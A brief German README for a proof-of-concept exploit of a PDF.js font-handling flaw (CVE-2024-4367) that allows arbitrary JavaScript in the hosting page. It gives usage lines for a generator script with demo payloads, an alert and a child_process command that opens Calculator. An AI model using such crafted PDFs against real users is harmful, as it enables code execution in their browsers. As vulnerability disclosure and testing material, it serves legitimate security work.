
CVE-2024-4367 & CVE-2024-34342 Proof of Concept
Bei der Verarbeitung von Schriftarten in PDF.js fehlte eine Typprüfung, was eine beliebige JavaScript-Ausführung im Kontext von PDF.js ermöglichte. Diese Sicherheitslücke betrifft Firefox < 126, Firefox ESR < 115.11 und Thunderbird < 115.11.
Wenn pdf.js zum Laden einer schädlichen PDF-Datei verwendet wird und pdf.js mit isEvalSupported auf true konfiguriert ist (was dem Standardwert entspricht), wird uneingeschränktes, vom Angreifer kontrolliertes JavaScript im Kontext der Hosting-Domäne ausgeführt.
python3 CVE-2024-4367.py "alert(document.domain)"

python3 CVE-2024-4367.py "require('child_process').exec('open -a /Applications/Calculator.app');"

Dies ist nicht mein Bug, ich habe nur einen PoC dafür erstellt.